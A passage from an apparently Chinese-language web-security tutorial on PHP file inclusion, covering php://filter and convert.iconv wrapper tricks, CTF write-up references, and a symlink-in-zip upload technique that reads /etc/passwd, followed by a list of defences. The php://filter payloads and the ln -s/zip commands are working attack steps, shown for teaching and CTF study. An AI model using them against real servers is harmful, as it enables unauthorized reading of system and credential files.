file_put_contents(“php://filter/write=string.rot13/resource=example.txt”,”Hello World”);
特別提一下這個過濾器convert.iconv
這個過濾器能實現幾乎任意的兩種編碼之間的轉化
php://filter/read=convert.iconv.UTF-8%2FASCII%2F%2FTRANSLIT/resource=... convert.iconv.ISO-8859-1/UTF-8 php://filter/convert.iconv.UTF-8%2fUTF-7/resource=
實際案例:
(1) 案例一:
國外的一個安全人員在一次 CTF 中發現,使用連續兩種編碼之間的轉換能騙過 解析器誤認為 flag 檔案是 圖片格式.可以看這個連結: https://gynvael.coldwind.pl/?lang=en&id=671
(2) 案例二:
hitcon CTF 2018 one-line-php-challenge wupco 師傅的非預期解法 writeup: https://hackmd.io/s/SkxOwAqiQ#
7.軟連結檔案包含繞過open_basedir
這個方法在不少漏洞中都出現過,比如 gitlab 的任意檔案讀取,在 CTF 中也出現過多次,具體的細節可以看 這篇文章 ,或者看一下 HCTF2018 hide and seek 這道題,這道題也是利用了這種手法實現的任意檔案讀取
我們首先構造一個指向 /etc/passwd 的軟連結檔案,看看能不能成功
root@K0rz3n:~# ln -s /etc/passwd test
看一下軟連結的指向
lrwxrwxrwx1 root root11 Nov 11 06:45 test -> /etc/passwd
現在我們把這個檔案進行壓縮
root@K0rz3n:~# zip -y test.zip test
上傳然後 submit
如圖所示:
0x04 如何防禦:
1、無需情況下設定allow_url_include和allow_url_fopen為關閉
2、對可以包含的檔案進行限制,可以使用 白名單的方式 ,或者設定可以包含的目錄, 如open_basedir
3、儘量不使用動態包含
4、嚴格檢查變數是否已經初始化。
5、建議假定所有輸入都是可疑的,嘗試對所有輸入提交可能可能包含的檔案地址,包括伺服器本地檔案及遠端檔案,進行嚴格的檢查 ,引數中不允許出現../之類的目錄跳轉符。
6、嚴格檢查include類的檔案包含函式中的引數是否外界可控。
7、不要僅僅在客戶端做資料的驗證與過濾,關鍵的過濾步驟在服務端進行。